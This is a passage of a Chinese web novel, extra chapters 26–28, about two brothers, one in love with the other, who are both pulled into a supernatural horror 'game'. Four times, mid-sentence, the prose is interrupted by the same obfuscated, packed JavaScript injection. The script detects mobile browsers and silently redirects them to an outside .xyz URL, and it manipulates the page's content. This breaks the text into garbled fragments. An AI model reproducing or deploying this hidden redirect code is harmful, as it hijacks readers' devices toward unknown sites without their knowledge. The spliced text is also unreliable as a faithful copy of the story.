闻淙自然是不开心的,但无法真的拦住宁琤,只好再次努力爬起来,送心上人出门。 等人走了,他转回身子,看一眼空荡荡的客厅,忍不住叹气。 这会儿闻淙还没想到,这口气只是一个开始。 下一周,宁琤出差,人不在文景市; 再下一周,宁琤公司组织了团建活动,仅能带一个户口本上的家属; 再再下一周,海城有场游戏行业的展会,宁琤又被派去参加; 再再再…… 一天天的等待中,闻淙慢慢确定了一件事。 他喜欢的人,似乎在躲着自己。 他本来是不愿意触碰这样一个可能性的,可事实又容不得他不多想。 在第五周的周五傍晚,青年沉着心,又一次拨通了暗恋对象的电话。 “哥!”抢在宁琤之前,闻淙开口了。和过往不同,他没再缠着宁琤一定要和对方见面,而是苦恼地和人抱怨:“我们学校不是搞了个比赛吗?我进决赛了……嗨,其实没什么含金量,不过这周末要彩排,导员说必须参加。你说烦不烦,咱们都这么久没见面了,好不容易你从海城回来,竟然成了我没法回家。” 宁琤的声音听起来有些惊讶,再有就是同样的遗憾:“竟然会这样。我还在想呢,这周终于清闲一点,能跟你一起过。” 闻淙努力让自己不要从心上人的话中听出松一口气的意味:“真的吗?那我再问问,看能不能和导员请假!” 他自然是“失败”了。把这个消息告诉宁琤的时候,后者安慰了他半天,青年才稍稍打起精神。 “好吧好吧。”他郁闷地说,“咱们下周见。唉,我都不想说这话了,怎么感觉跟中诅咒了一样?” 宁琤说:“说什么‘诅咒’?就是有点不太巧而已。好啦,你不是快要放寒假了吗?咱们有的是时间见面。” 有的是时间?闻淙在心里重复这句话,喃喃回答:“是啊。” 他算是得到了自己想要的结果,却不算高兴。电话挂断之后,手垂落在身侧,指尖一直在发抖。 ——很多事,都是要在发生之后才能被察觉的。 比如闻淙便是在宁琤拒绝见自己之后,才意识到,自己恐怕完全被哥宠坏了。 他一心想着追求宁琤,将两人的“兄弟”关系变成更加亲密、不可分离的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846412|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “恋人”,并为此付诸行动。难道那会儿他就没想过,如果宁琤不愿意呢?如果他的确想要有闻淙之外的、更符合世俗目光的恋人,如果他…… 他从来没想到,前进的后果可能是失去。 是宁琤太爱他了。 用过往每一天的爱,让闻淙自以为是而任性地觉得,哥绝不会离开自己。 最让闻淙觉得可悲的是,即便是当下,自己也在任性。 用欺骗的方式换取和心上人见面的机会,不顾对方的意愿将哥不愿意面对的事情捅破——他正是打算这么做的,因为想要得到一个自己被拒绝的理由,因为知道就算哥会因此更长时间不见他,最后也一定会迈过心里的那个坎,重新叫他“小淙”。 “呼。” 青年吐出胸腔中的郁气。 脸上重新勾出一个灿烂的、和过往一般无二的笑容。 他的计划非常成功。当晚闻淙回到家时,果然见到了宁琤。 宁琤一看就是刚刚洗完澡,头发还是湿漉漉的。见到从门口进来的青年时,他的表情在刹那间变化了很多次,复杂得闻淙无法用语言形容。 而对闻淙而言,眼下的场景同样是个意外。明明是从小到大看过很多次的画面——年纪更小的时候,两个人一起洗澡都是常事——到当下,他竟有些不知道该把眼睛放在哪里的慌乱感。 两人默默看着对方,终于,还是作为兄长的宁琤打破沉默。 “把门关上。”他用一种很寻常的口吻说,“风一直灌,冻死了。” 这完全在闻淙意料之外,“啊?哦哦!” 原本紧绷的心弦在这一刻放松了,强烈的快乐像是被摇晃过的可乐瓶中的汽水一样涌上来。 闻淙在刹那间意识到,哥似乎还打算要自己这个弟弟。 很快,他进一步确定了这点。本着送上门来的劳动力,不用白不用原则,宁琤把吹风机甩给闻淙,要他给自己吹头发。 放在偶像剧里,这是个浪漫桥段。但落在自己身上,闻淙知道,哥就是单纯地看自己不爽了,于是想使唤使唤自己。 可这份“不爽”也是一种亲近的证明,于是闻淙开开心心地全盘接受。 他把机子调到宁琤习惯的档位,手指也久违地摸上心上人的头发。深吸一口气,幸福就是这么简单。 哥现在用的还是和我一款的洗发水耶! 风呼呼地吹,闻淙的心情也飘然欲飞。 以至于宁琤叫他的名字,他都有些没反应过来。宁琤只好加大了音量:“闻——小——淙——!” 闻淙终于抽了口气,手忙脚乱地去关吹风机。屋子里安静下来,他则露出一贯的乖巧模样:“哥,我在这儿呢!什么事儿?” 宁琤用一种混杂了无语和无奈的目光看他,半晌,才说:“哪根筋搭错了?怎么突然就盯上我。” 闻淙心里的石头彻底落地,嘴巴咧开,道:“我果然露馅儿了是吧?也不算突然吧,都一个多月了。” 宁琤撇嘴。闻淙见状,很想碰碰他唇角,又觉得眼下不是动手的好时候。 青年只好按捺冲动,拿还算冷静的口吻回答:“再说啊,你这么多年都没带一个对象回家,肯定也是因为其他人都不合适吧?” 这是他忽然想明白的。以哥的性格,认定一个人,就一定会为自己的感情努力,而非连家人也始终隐瞒。从前没有这方面的迹象,就说明真的没有这样一个人出现。 他信心满满:“我就不一样了,本来就跟你一起住,一点儿都不担心磨合失败。” 宁琤粗暴地回答:“磨合个头。我是你哥,你是我弟,咱们俩真有点什么那是——” 闻淙打断他,纠正:“咳咳,你说的这事儿没一个户口本承认哈。” 宁琤:“……” 熊孩子。 上房揭瓦了这是。 26.番外三(上) 屋子里再次安静下来。闻淙抿抿嘴巴,重新启动吹风机。 沉下心后,感受心上人的发丝在自己指尖滑过变成了一件很让人享受的事。闻淙只希望这个过程长一点,再长一点。可惜宁琤的头发本身也不长,很快在他手中干透。 闻淙失落了一瞬,很快打起精神:“不对,我这趟回来,也不是专门为了摸哥脑袋的。现在哥对我态度这么好,不是一件好事吗?” 他关了吹风机,绕到宁琤对面的茶几上坐下。 宁琤本来正在手机上回消息,见状眼皮一跳,嘀咕:“你可别给我坐塌了。” 闻淙目光晃晃,开始往下挪。 他坐地上也行啦,就是感觉不如坐在比哥高的地方有气势。 “行了行了。”宁琤被他搞得哭笑不得,“哎你——小淙,其实我这段时间也在想,你为什么突然有这种想法。” 他的神色忽然正经起来,手机也放在一边了,眉目间都是认真。 闻淙看在眼中,喉咙莫名发干,自己也跟着正色。 他是想给宁琤回话的,可对方没给他这么做的机会。宁琤比了个手势:“你先听我讲完。” 闻淙选择点头。宁琤便望着他,目光落入他眼中,“你是真的‘喜欢’我,还是只是上大学了,发现别人都有别人的生活,所以开始觉得你和我有天也会那样,心里不想接受?” 闻淙眼睛瞪大,“哥,你怎么这么说!” 宁琤又皱眉了,“刚才我还说了什么?” 闻淙不太开心:“听你说完。可是哥,我——” 宁琤看着他,闻淙的声音一点点变轻。 等到他完全安静下来,宁琤才又开口:“我上大学的时候,也有这么一个阶段。” 闻淙愣住。 宁琤继续道:“不过那会儿爸还在,你也还小。我虽然会担心有天咱们‘家’散了,但也只是担心一下,没有和你一样。” 闻淙拇指不自觉地摸索着自己食指侧面。心上人后面讲述的过往剖析,统统被他左耳进、右耳出。 虽然宁琤说了很多,可在闻淙看来,哥在意的只有一件事。 他觉得自己不懂情情爱爱,觉得自己只是一时冲动,觉得自己以后会因这份冲动后悔。 闻淙喃喃说:“原来你不是讨厌我了,你是到现在都在为我想啊。” 宁琤卡住:“你说什么?” 闻淙闭上嘴巴,再度阳光灿烂地向心上人笑起来。 “我才不会后悔呢。”他说,“哥,你要是不信,就让时间来证明吧!” 宁琤一顿。 “闻淙。” “哎!” “你知不知道自己现在的话很像小学生喊口号?” “哎?” “完了,本来以为心理年龄起码是个高中生,结果——” “啊啊啊,哥!你怎么这样!” 场面成了两人从小到大最熟悉的打打闹闹,说说笑笑。 宁琤自己也很无奈,事情怎么会发展成这样。 可无论是完全推开小淙,还是就这么接受小淙,他都做不到。 是有觉得对方是重要的“弟弟”,两人在一起实在古怪的原因没错,却也有一部分是因为惦念着父亲在笔记本中写的话。 如果小淙与自己不同,一生都不会陷入同样的噩梦,宁琤一定会为他高兴、送上祝福,再努力远离对方,不去打扰弟弟的正常生活。 可如果并非如此,闻淙也逃脱不掉注定的命运呢? 他已经很接近自己陷入这片地狱的年纪了。光是想到这件事,宁琤心头便会升起无法自制的恐惧。 至少在那天真正到来之前,他都绝对无法推开对方。试想一下,如果有天小淙出事了,自己却不知道…… 宁琤默然,闻淙却已经转到下一个话题。带着几分紧张几分笃定,青年问:“那哥,你呢?这些年,到底有没有谈过对象?” 宁琤瞥他一眼,“关你什么事?” 闻淙振振有词:“就算我不喜欢你,这种问题也能问吧?你好歹是我哥啊!” 宁琤扶额,还是说了实话,“没有。”不等闻淙高兴,“所以你看,可能我就是不想跟人处对象的类型呢?你也安分一点,别胡闹了。” 闻淙选择性地只听了前半句,“那你要是跟我在一起,咱们就都是对方初恋了,哇……” 宁琤正要吐槽,又猛地发现,不知不觉间,自己后背已经靠在了沙发上。 是闻淙在话语间不断往前靠。到此刻,俨然已经将暗恋对象困在自己和沙发背之间。 宁琤花了半秒钟时间,打消了“这家伙该不会是故意的吧”的想法。 某个小混蛋还在傻笑:“虽然哥你怎么样我都喜欢啦,但我是你的初恋,哈哈哈。” 宁琤面无表情。 没救了,埋了吧。 不过,在闻淙的努力下,宁琤到底给了他一个“到你大学毕业的时候,要是想法还没变,那会儿再说后面怎么办”的答复。 闻淙其实很想再争取一下,但宁琤面露嫌弃,说:“同学,你知不知道,像你这种学生仔对我们这种上了班的人来说真的很幼稚啊。” 闻淙眼睛瞪大了。 “没看过那种网上闹出来的八卦吗?”宁琤循循善诱,“社会人士找一个大一学生在一块儿,别人都是怎么说的?年纪大的仗着两边的阅历差距哄骗小孩。” 闻淙很不想承认这话,但回想一下过往听说的、看过的内容,他又觉得哥说得好像也有道理。 再有…… 哥虽然在笑,可神色之间的倦意从未消散。 一点细细密密的心疼冒了出来,混杂着懊恼。 “好。”他说,“那哥,你——” 宁琤:“怎么?” 闻淙把一句“咱们既然约好了,那这几年里,你不许喜欢上别人”咽下去,说:“你要是喜欢上别人了,一定要告诉我。” 宁琤一愣。 闻淙垂眼,很不开心,声音便轻了下去,“我不是想逼着你怎么样。哥,我也希望你能幸福。” 宁琤静静地看着他。在闻淙察觉不到的角度,手指慢慢扣住掌心。 “我知道了。” 他口中说。 心中则想,怎么会存在这种可能性? 在被【游戏】选中的时候,自己就不可能幸福了。其他玩家或许还要挣扎、朝着一个虚无缥缈的“脱离方式”努力,可宁琤不同。 他知道那些都是假的。 …… …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862093|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在宁旭升等人进入的年代,【玩家】们只能在鬼怪的追逐中交换联系方式、以期在离开恐怖的地狱后仍然保持沟通。而到了宁琤进入的时候,他已经能从其他人手中得到一个网址。进入其中,能看到无数经历了与他有着同样经历的人在求助、分享经验,以及…… 陷入绝望。 没有人知道这个论坛是谁搭建的,但有一点很肯定。“只有【游戏】选中的人能看到上面的内容,要是没被选中,那这个论坛就是‘隐形’的。” 这自然不算合理。但【游戏】的存在同样没那么科学,人们便自然而然地接受了由之而来的一切问题。 在安全的、安静的时间中,宁琤也经常去论坛里打转。几年当中,他看到的最多一个问题就是:“要怎么样才能从这个鬼地方出去?” 答案五花八门。有说要完成特定次数的死里逃生的,最低的猜测是九,最高的猜测是一百。有说要搜集某样隔三差五会出现在【游戏】中的东西的,比较简单的是一把钥匙、一张名片,难的就说不上来了,宁琤最无法理解的一个帖子是让人到处捡眼珠子,黑色瞳仁的还不要,必须得是金色。 还有说法是【玩家】必须进入一场特定的【游戏】,对着里面的【神】许愿。 宁琤回复:“你是‘觉醒派’吧?身上还有一块儿好皮吗?” 按下发送键后,他百无聊赖地退了出来。 爸爸参加过的【游戏】至少有上百场,但他依然无法脱身; 笔记中曾经提过一个身上长满了金色眼珠子的怪物,还说这些眼珠被人捡到之后还能通过它是睁眼还是闭眼判断一个地方是否安全,好用是好用,但肯定和离开这鬼地方无关; 【游戏】里的【神】……呵呵。 如果说在父亲去世之前,宁琤还有几分自己努力活下去,或许有天真的能够摆脱噩梦、回归正常生活的期许,那看完对方的笔记本之后,他很确定这都是痴心妄想。 宁琤猜测,这或许也是爸爸生前不曾对他说出真相的原因。他已经不在乎了,只有在看着闻淙认真、渴望,又夹杂忧虑的目光时,心脏才会像是被一只看不见的手重重抓了一下,又酸又痛。 …… …… 这一天,闻淙和宁琤约法三章。 正常加班就算了,不加班的时候宁琤不许骗他,两个人周末必须见面。 不见面的日子也要及时看手机,尽量回复闻淙发的消息。 “我的确进比赛决赛了,”青年还说,“虽然不用彩排。咳,比赛在礼拜一下午,你要不要来看?” 讲话的时候,吐息落在宁琤身上。 很热,又轻,像是羽毛。 宁琤觉得闻淙应该没留意到自己的胸膛、手臂已经紧绷了很长时间,于是依然气定神闲地回答:“你这个时间也太不巧了,我不确定能不能请假。” 闻淙失望地“哦”了声,宁琤喊他:“喂!” 闻淙嗓音闷闷的:“怎么了嘛?” 宁琤礼貌道:“把你脑袋从我肩膀上拿开。” 闻淙抽鼻子。 宁琤双手捏住,又松开。 他妥协了:“……要是下班时间早,我去你学校找你,咱们一起吃晚饭。” 闻淙:“哎?好好好耶!” 27.番外三(中) 有了“马上就要见到心上人”的期许,真到了比赛那天,闻淙发挥超常,一举拿下金奖。 走完和学校领导、老师还有其他参赛选手合影的流程,他一溜烟儿地往外窜去。哥这会儿已经快要到他学校了,说是还差三站公交车。 闻淙抱着来不及放回宿舍的奖杯奖状,兴冲冲往校门的方向走。只是走着走着,他的眉头皱了起来,喃喃自语:“怎么回事?这么大的雾……” 学校在南山下,而南山又是写在中学地理书上的南北分界线。绵绵千里,风吹不过。 因为这个,一到冬天,就很容易有这样雾气浓浓、看不清前路的天气。闻淙作为从小在文景市长大的本地学生,对此已经十分习惯。 可今天的雾,实在太大了点。以至于闻淙慢慢停下了脚步,不太确定地看着前方巨大的建筑物影子,心想,难道自己已经走到图书馆了吗?可这个影子的形状,又总让他觉得怪怪的。 再有,眼下明明是晚饭的点,往日这会儿学校里应该到处都是人才对。闻淙却只觉得耳畔安静,半点其他人的动静都听不到。 冷气嗖嗖地刮向他,青年喉结不自觉地一滚。奇怪的危机感涌了出来,他抱着奖杯奖状的手也快要冻到麻木了。这种时候,闻淙哆嗦了一下,忽地加快了脚步。 他忧心忡忡。 天气差成这样,哥搭的车是不是也看不清前路了?……这就体现出公交车的好了,如果是自驾,闻淙指不定要担心成什么样呢。 可光是眼下,他都很担心哥会不会在路上出什么意外。再有,闻淙也不放心让宁琤赶着这么大的雾回家。要不然,问问哥明天能不能请假,今晚干脆就在校外住一晚旅馆? 啊——旅馆。 一阵风细细地拂过闻淙露在羽绒服外的皮肤,与之一起的是轻快悠扬、让人心生亲切感的音乐声。而在音乐声里,又夹杂了一道温柔的女声,在说:“欢迎来到幸福旅馆!这里是您在旅途当中放松的港湾、快乐的家园!” 闻淙愣住了。 …… …… 电话拨出去,入耳依然是“不在服务区”的提示音。 辅导员的回复也过来了,说比赛早就结束,闻淙甚至是第一个从礼堂离开的人。 “他现在联系不上吗?”导员也显得十分上心,“我问问闻淙舍友吧,看他是不是回学校了。” 宁琤看着手机上的文字,过了会儿才意识到自己应该回答。 他留下一个“好”字,这时候,导员的话又发了过来:“几个学生都说闻淙没有回宿舍。不过闻淙哥哥,你先别太担心,可能只是手机出了问题、刚好错过了……我刚刚还问了一下保卫科,他们联系了学校另外几个门的值班亭,都说没出什么事儿。” 学校既在山下,便是远郊地区,平日常有渣土车轰隆隆地从外面路上开过。 这也是很多家长前来接送时都会提到的安全问题。校门口又没个红绿灯,万一赶上一个眼神不好的司机,孩子的安全怎么保障?其他学校外可是有过此类事故的! 导员最担心的原本也是这种可能。眼下确定没有,她大大地松出一口气。 不多时,闻淙哥哥和她讲:“我知道了。” 还有一句:“我可能知道小淙在哪里了。谢谢老师您帮忙操心。” 知道了?导员彻底放心,不过还是说:“那闻淙哥哥,咱们还是保持联系。要是再有什么消息,我第一时间告诉你。” 宁琤答应了,礼貌地应了一句“谢谢”。 再之后,他拎着手中的蛋糕盒子,注视着校门口来来去去、笑容满面的学生们,一动不动地站在原地。 时间一点点推移。到了更晚的时候,校门内外近乎没什么人了,宁琤的身影便变得分外显眼。 保安溜达溜达着出来,问他是要找谁。宁琤垂下眼,轻声说:“我弟弟。” 保安一愣,显然是没想到这个答案。但已经到嘴边的话还是讲了出来,“弟弟……咳咳,人一直不出来,你也不能一直在外面等着啊!大冬天的,本来就冷。再过会儿,连公交都没了!要不然你先回去,后头联系好了再说?” 宁琤没有回话。 他听着保安的声音,缓缓转过头,去看校门口的宽阔道路。眼神之专注,让保安不由生出一丝错觉,同样扭头去看。 却什么都不曾见到。 “好。”那个站在学校门口很久的男人还是妥协了,“我先回去,等他出来再说吧。” 声音轻飘飘的,大约的确是被冻透了,显得暮气沉沉。 保安看他走远。这个点,公交车的候车亭也空空荡荡的,只有男人一个人在。 他耸耸肩,回到自己值班的地方。 时间更晚了,终于到了宿舍熄灯的时候。 电视剧的嘈杂响动中,保安昏昏欲睡。 学校那么大,是会有人凌晨才回来,却绝对是少数,完全没必要一直盯着。 这么半梦半醒、时睡时醒,不知过了多久,一声“滴”响忽地传到了保安耳边。 趴在桌子上的人眼皮抖了抖,到底没有睁开,只是嘴巴含糊地咕哝了句什么。 现在的孩子,在外面玩儿到这么晚才回学校,也不知道明天的课好不好上——大概是这么一句话。可保安并未意识到,刚刚开门的男生的行动与他所想完全不同。并非回校,而是跌跌撞撞、踉踉跄跄地往外跑。 站在校门口的时候,闻淙才觉得自己一定是疯了。 已经这个点,哥怎么可能还在?就算自己收到了消息,让他手机有信号之后立刻回复,还有一句“我就在学校外面等你”,可怎么想都知道,都知道—— “嗡嗡——嗡嗡。” 闻淙的手机响了起来。 看着来电显示上的字眼,他的身体开始更加剧烈地颤抖,期待与恐惧一起涌了上来。想要见到喜欢的人,不想让喜欢的人看到自己眼下狼狈的样子。两种情绪混合在一起,到底还是前者占据上风。闻淙用力地拍了拍自己的脸,接通电话。 他尽量让自己的语气更轻快些,“哥!” 话音出口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873775|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,闻淙才意识到不对。这会儿已经快要两点了,自己总要对前面发生的事做出解释。虽然在刚才那场【游戏】里,有【老玩家】告诉他,无论他们离开了多长时间,外间的人都不会发现不对,但…… “小淙。”宁琤的声音传过来了。闻淙没有意识到,自己已经在流泪。“我看到你了。你在原地待着,我去找你。” 看到我了。 闻淙茫然地理解着这句话。 哥怎么可能看到我,他不是已经回家了吗?他…… 他看着从黑漆漆的公交候车亭中走出的身影。 在这绝不应该的时间点,绝不应该出现的人就这样一步一步地来到了他的面前。 望着脸上还带着泪水的弟弟,宁琤长长吐出一口气,说:“走吧,咱们去附近旅馆……”说到这儿,留意到闻淙忍不住颤抖了一下。宁琤跟着停顿,改口:“咱们回家。” 大晚上,又是郊区,叫车并不是一件容易的事情。 但只要愿意加钱,情况还是会变得不同。快要四点的时候,两人顺利到家。宁琤还给导员发了消息,帮闻淙请了接下来几天的假。 整个过程中,闻淙都一言不发,只偶尔用怪异、探究的眼神去看宁琤。 宁琤抬起头,便对上闻淙这样的目光。他眉毛都没动一下,平静地说:“天这么冷,去洗个热水澡吧。” 本意是让弟弟暖和过来了两人再谈话,但话音刚落,便见闻淙又哆嗦了一下。 宁琤:“……” 宁琤再次改口:“我把热水袋拿过来吧。”家里是有暖气,可偶尔还是要用到一些辅助物品。 闻淙没有说话。 宁琤见状便起身,预备去卧室拿东西。可还没迈出脚步,就听到背后的青年问:“哥,你是不是知道?” 他一顿,并未回头。 闻淙自言自语:“你一点也不惊讶我会在这个点出学校,也不惊讶我之前到底为什么会‘不见’。到现在也一句话都不问,只是……只是带我回家。” 和从前一样。在他健健康康、活蹦乱跳的时候,哥会表现出些许对他的“嫌弃”。但到了他遇到麻烦、落入低谷的时候,哥一定会想尽办法来安慰他。 这似乎不是一个难以猜到的答案。可正因如此,闻淙才觉得无法接受。 如果哥知道,如果——那岂不是说明…… 青年猛地起身,往前数步,绕到宁琤身前。 宁琤留意到,闻淙的眼里充满了血丝。 他的肩膀被“弟弟”扣住了,对方用了很大力气。凶巴巴的样子,表情却显得那么脆弱,像是又要哭。 他问宁琤:“你碰到这种事情多久了?是从什么时候开始?为什么从来都不……” 好吧。闻淙反应过来了,这种事根本没法对别人说。 可他还是无法接受。“你说要加班的时候,是真的去加班,还是被【游戏】带走了?” 自己从前竟然还在心头抱怨,觉得哥是不愿意见自己…… 实在是太愚蠢、不知足了。 28.番外三(下) “都有。”宁琤回答,“也有的时候什么都没干,就是找家咖啡店坐一下午。” 与闻淙的崩溃相比,他显得太过平静,而这更让闻淙觉得自己果然就是心上人口中那个幼稚的学生,难怪哥不愿意和自己在一起。 前头聚起的气倏忽消散了。青年的手臂缓缓滑落,站在原地,不知所措。 这副模样倒是让宁琤怔了怔。眼看小淙马上就要长蘑菇,他试探着抬起手,去碰弟弟的肩膀。 ……人抖了一下,但没有甩开。 宁琤嘴巴抿起来,往前半步,轻轻将闻淙搂在怀中。 不对。早在几年前、小淙刚刚读高中那会儿,他就比自己高了。 初发现这点时,某个幼稚的家伙兴奋地不行。逮着宁琤在家的时候,就跟在他身边转来转去,时不时地用手在两人脑袋上比划一下。 宁琤知道这是在引起自己注意力,于是有意没有搭理。最后憋不住的果然是闻淙,他忽地“哇”一声,像是发现什么新大陆,惊喜地叫:“哥,我比你高了哎!” 宁琤还是冷静:“嗯。” 闻淙:“……!!!” 弟弟在身边抓耳挠腮。宁琤面儿上八风不动,心头则早已笑得不行。 当时他也还是个普通学生,半点不知道未来会经历什么。可是一个念头已经本能地出现,扎根,繁茂滋长—— 希望小淙能永远这么快乐,这么充满活力。 “不要觉得【游戏】是一个可怕的地方。”几年后的当下,宁琤这样和闻淙说,“咱们已经很幸运了,总能从【它们】手里得到提示。早上二十年,那会儿的【玩家】可没有这个运气。” 闻淙脑袋还晕着,一时没有反应过来宁琤话语中更深的意思,只捕捉到:“哥,你好像……很有经验了?” “算是吧。”宁琤轻描淡写。他知道,小淙不会发现自己掌心也已经凝满了汗。“这几天就别去学校了,我也和公司请了假,咱们好好聊聊。” 闻淙尝试着放松,慢慢也扣住宁琤的腰。 宁琤默许了这个动作。两人就这样抱着彼此,闻淙那颗饱受折磨的心终于变得安定。疲惫迟来地涌了上来,可他还有很多事情没有做。 “哥,”闻淙还是闷闷地讲,“你给我带了蛋糕呢,我都没吃。” 宁琤:“等你饿了……” 闻淙:“现在就饿了。” 宁琤:“好吧,现在吃。”等候十秒钟,“你先放开我。” 闻淙舍不得,嘀嘀咕咕:“我要抱着哥吃。” 宁琤哭笑不得,“嗯?我以为你更愿意看着我?” 闻淙想了想,觉得是这个道理,这才终于放手。 十八九岁的男生,本来就是胃口最好的时候。一块六寸蛋糕,在宁琤逐渐心惊胆战的目光中被闻淙吃了个干干净净。 这下好了,宁琤把原先那句“吃完就去休息吧”咽下去,觉得小淙多清醒一会儿也好。“说说吧,你都碰到了什么?”一顿,“去了什么地方?各种【规则】还记得多少?” 闻淙回答:“一家旅馆。”这在宁琤的预料之中,“叫做【幸福旅馆】。【规则】的话,分了很多部分。” 他开始细细讲述。 这场【游戏】一共有六人参与,三老三新。 前者说是老玩家,但经验最丰富的一个也不过有四场恐怖经历。 听到这儿,宁琤的眉宇舒展了很多,心道:“的确是个新人本,【游戏】没有因为叔叔阿姨的事对小淙‘另眼相待’。” 这是好事。再往下听,原来闻淙等人的身份是旅馆中的工作人员,需要在三天时间里负责不同楼层客房的打扫。 除了常规的《幸福旅馆工作守则》中的“总览”和“清洁员篇”要遵守外,他们需要面临的最大危险,来自旅馆的住客们。 不过还是那句话。作为初入者,闻淙和另外两个新人的任务总要轻松一点,他们都只在第三天碰到了一名住客。 中午休息的时候,大伙儿有过短暂地交流。闻淙知道,二楼那个中年女人面对的客人身上有一股焦糊味,总在引导清洁员去看【它】的面孔;三楼的青年男子则对上一个身上脏兮兮、走到哪儿就把泥浆带到哪儿的客人,引得他大为头痛,不知道对方退房后要怎么完成房间的打扫工作。 “只要在完成三天工作后把名牌交到前台,就可以出来了。”闻淙说,“会有其他,应该是旅馆里那些真正的‘清洁员’去楼层里验收。虽然没有明说,但我觉得如果在这个过程中出了差错,就会……出不来。” 宁琤听着这话,知道小淙应该已经意识到,三楼那位同伴怕是已经不在了。 他默然片刻,没有打断闻淙的出神,只把对方说的内容仔细记录在电脑上。 闻淙发了会儿呆后也凑过来,脑袋放在宁琤肩膀上,问他:“哥,这是什么网站?” 宁琤回答:“算是【游戏】选中的人之间的交流论坛。正常情况下只要你能再通过两三场,就会有人把网址给你。 “论坛里有个资料库,很多人会把自己在【游戏】里的经历放在里面。” “资料库?”闻淙先是一愣,随即眼睛亮起来,“那岂不是?” 他想说“在进入之前就知道有什么禁忌,大大增加存活率”。可话都没有说出来,宁琤已经残忍地打断:“我知道你在想什么,不过很遗憾,不是那样。” 看着闻淙疑惑的目光,宁琤解释:“比如你这次去的【幸福旅馆】,如果直接在库里搜,可以搜到,嗯,三个。” 闻淙喉咙有些发紧,更仔细地看心上人点开的网页。很快,他明白了什么:“这,和我去的不是一个地方。” 虽然名字一样,但从对环境的描述,到要遵守的条条项项,再到具体做的事情都完全不同。 闻淙喃喃说:“是有很多个【幸福旅馆】吗?” 宁琤点头,还是显得平静:“这的确是个挺大众的名字,对吧?” 闻淙沉默。宁琤看着他灰心的样子,有些不忍,语气柔和了些,“不过,咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894848|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做这些事,也不是完全没有用的。比如你刚刚说的,在旅馆里碰到的那个‘看不见的客人’,如果直接用关键词搜索……” “看不见”。呃,没有。 “特殊客人”。呃,条目很多,但好像都不太符合。 “隐形”?似乎也不对。 “隐身”——这回对了。 新出现在眼前的,是一个被命名为【登山】的帖子。点进去看,里头的描述是这样:七名玩家作为某个户外爱好群的成员,一同报名参加了群里组织的登山活动,存活条件是八人同时抵达山顶。 玩家人数和存活条件放在一起,很容易透露出一个消息:他们必须在其他参与登山活动的背包客中找出一名真正的“人”,并且说服对方脱离原本的队伍,和自己一行共同行动。 乍看起来似乎不难达成,实际操作下来却让玩家们死伤惨重,最终只有两人从中离开,发布帖子。 而他们在帖子最后提到:“……我们无论如何都没想到,原来从头到尾,都有一名能够隐身的……登山者跟着我们。 “【它】在最初时让我们不断迷路、互相猜忌,又在最后让我们在五个██的包围中活了下去。 “最后,在阳光照耀下,我们模糊地见到了【它】的身影。 “橙色的背包,红色的冲锋衣,还有挂在脖子上的相机。哈哈,【它】还真像一个真正的登山者!” 宁琤把最后一段话圈出来,和闻淙说:“你刚才说,最后一天打扫房间的时候见到了什么?” 闻淙头皮发麻,尽量让自己冷静地回答:“放在桌子上的橙色登山包,挂在衣架上的红色冲锋衣,还有门背后的登山杖。” 《工作守则》中明确规定了,清洁员们在住客待在屋内时,需要先询问对方能否开始工作,在得到首肯后再开始打扫。 闻淙将这点记得清清楚楚。所以那会儿他站在屋子门口,在自己人生中最漫长的半分钟里认真思考:“到今天为止,其他人都和‘客人’打了交道,我何德何能运气那么好,正好碰到‘客人’出门的场景?” 恐怕有诈。 从这个角度来说,眼前的提示的确不少。 想到这里,他清了清嗓子,大声问:“客人,请问现在方便打扫卫生吗?” 屋子里安安静静的,可闻淙还是没有掉以轻心,继续等待。 终于,他听到一句:“方便。进来吧。” “也就是说,”当下,再度告诉自己一切已经结束、眼下是安全的家中后,闻淙嗓子有些发颤地开口,“我碰到的,和这个楼主碰到的是同一个……咳?” 宁琤回答:“恐怕是的。” 闻淙进一步问:“这些,咳咳,还能到处窜门的?” 宁琤依然回答:“恐怕是的。 “小淙,这是我要告诉你的第一件事。 